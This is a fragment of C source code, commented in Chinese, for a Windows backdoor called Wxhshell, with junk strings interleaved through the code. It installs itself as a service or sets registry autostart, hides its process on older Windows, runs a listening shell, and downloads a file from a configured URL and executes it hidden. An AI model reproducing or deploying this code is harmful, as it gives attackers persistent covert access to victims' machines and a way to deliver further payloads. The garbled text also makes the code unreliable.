:q6} HMODULE hMod; z})H$]: $ char procName[255]; 1g2%f9G unsigned long cbNeeded; 7&'^H8V @hQ+pG@s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q+WO nTS j3Cp o
x CloseHandle(hProcess); ]$y"|xqR >F Z6\ if(strstr(procName,"services")) return 1; // 以服务启动 0pBlmPafY j=PQoEtU'< return 0; // 注册表启动 q,QMvUK: } T/)$}#w0i i3rvDch
// 主模块 =f.f%g6 int StartWxhshell(LPSTR lpCmdLine) JEU?@J71O { E)#3*Wlu$ SOCKET wsl; D'|#5>G BOOL val=TRUE; -58r*[=8 int port=0; }I;=IYrN struct sockaddr_in door; aNv6 " }Jjq] lW if(wscfg.ws_autoins) Install(); K )KE0/n x%vt$dy*8 port=atoi(lpCmdLine); b0m1O.&I_ YAC=V?U-# if(port<=0) port=wscfg.ws_port; xO"5bj tG^Oj: WSADATA data; Ds&)0Iwf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `(W
V pP? pFGdm3pV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;vQ7[Pv.j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )
;-AT^ door.sin_family = AF_INET; xyBe*,u door.sin_addr.s_addr = inet_addr("127.0.0.1"); qNC.|R door.sin_port = htons(port); csH1X/3ha\ qGl+KI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vb5tyY0c closesocket(wsl); `r+e!o return 1; v|t^th, } rZ w&[ G Ij@YOt if(listen(wsl,2) == INVALID_SOCKET) { ~"
}t8`vP1 closesocket(wsl); 0-l
@U{ return 1; uAK-%Uu? } 6H.D`"cj Wxhshell(wsl); p?0 a"5Q WSACleanup(); Lo7R^> /LPSI^l!m return 0; sBZKf8 @/ :*A6Ba } Zo-s_6uC I&Yu=v/_ // 以NT服务方式启动 3::DURkjf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w/h?, L| { } Yjic4? DWORD status = 0; xJ^Gtq Um DWORD specificError = 0xfffffff; So bK<6 Fg5>CppH serviceStatus.dwServiceType = SERVICE_WIN32; {B\ar+ 9> serviceStatus.dwCurrentState = SERVICE_START_PENDING; )q&uvfQ1( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4q~+K'Z serviceStatus.dwWin32ExitCode = 0; Ct$e`H!; serviceStatus.dwServiceSpecificExitCode = 0; PO<4rT+B serviceStatus.dwCheckPoint = 0; &qMSJ serviceStatus.dwWaitHint = 0; Q4CxtY q:J,xC_sF( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s-o0N{b?#' if (hServiceStatusHandle==0) return; }"Hf/{E$_" C1)TEkc"C status = GetLastError(); E"pq ZP = if (status!=NO_ERROR) \qNj?;B { ,F6i5128{ serviceStatus.dwCurrentState = SERVICE_STOPPED; l')?w]| serviceStatus.dwCheckPoint = 0; kX+y2v(2++ serviceStatus.dwWaitHint = 0; &0Wv+2l@ serviceStatus.dwWin32ExitCode = status; &"K74 serviceStatus.dwServiceSpecificExitCode = specificError; Z3~$"V*ZB{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); -'5:Cq return; f{^C+t{r } |1T2<ZT #^yw!~:{ serviceStatus.dwCurrentState = SERVICE_RUNNING; 0&2TeqsLh) serviceStatus.dwCheckPoint = 0; MFiX8zwhx+ serviceStatus.dwWaitHint = 0; `<b 3e(A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q`"gT;3S } qD7#q] `[VoW2CLH+ // 处理NT服务事件,比如:启动、停止 ) i.p[ VOID WINAPI NTServiceHandler(DWORD fdwControl) ~O
65=8 { 6$9n_AS switch(fdwControl) 7MOjZD4? { ?`,Xb.NA$K case SERVICE_CONTROL_STOP: #N[nvIi} serviceStatus.dwWin32ExitCode = 0; ZK{VQ~ serviceStatus.dwCurrentState = SERVICE_STOPPED; ;W'y^jp]" serviceStatus.dwCheckPoint = 0; o*'J8El\y^ serviceStatus.dwWaitHint = 0; l?pZdAE { ,DXNq`24 SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>*fJ } wu/]M~XwI return; 2}b1PMpZG case SERVICE_CONTROL_PAUSE: >m44U 9 serviceStatus.dwCurrentState = SERVICE_PAUSED; [@uL)*o_# break; tm#T8iF case SERVICE_CONTROL_CONTINUE: NVcL9"ht*@ serviceStatus.dwCurrentState = SERVICE_RUNNING; %fJ*Ql4M break; lRZt))3 case SERVICE_CONTROL_INTERROGATE: u"?cmg<.1 break; $X
WJxQRUv }; 4WzB=C(f SetServiceStatus(hServiceStatusHandle, &serviceStatus); )+u|qT3% } CmY'[ rI |A8xy# // 标准应用程序主函数 4F??9o8 } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )l\BZndf { H}dsd=yO do+HPnfDzU // 获取操作系统版本 tceQn
^|< OsIsNt=GetOsVer(); 5m=3{lBi GetModuleFileName(NULL,ExeFile,MAX_PATH); *&% kkbA 8ooj) // 从命令行安装 9"I/jd0B if(strpbrk(lpCmdLine,"iI")) Install(); eH(8T vp[~%~1( // 下载执行文件 UqsVqi
h( if(wscfg.ws_downexe) { z X2BJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O)Nj'Hcu WinExec(wscfg.ws_filenam,SW_HIDE); zX{[Z } \2L%%M V\r5 if(!OsIsNt) { t(\d;ybyx // 如果时win9x,隐藏进程并且设置为注册表启动 s@jzu HideProc(); y4C_G? StartWxhshell(lpCmdLine); =zK7`5 } % )i?\(/ else p*-o33Ve if(StartFromService()) T,TKt% // 以服务方式启动 8N'`kd~6[ StartServiceCtrlDispatcher(DispatchTable); q/ 6d^& else hE/gul?|_ // 普通方式启动 >(<OhS( StartWxhshell(lpCmdLine); B&0-~o3WP =L
7scv%i return 0; |GA4fFE= }
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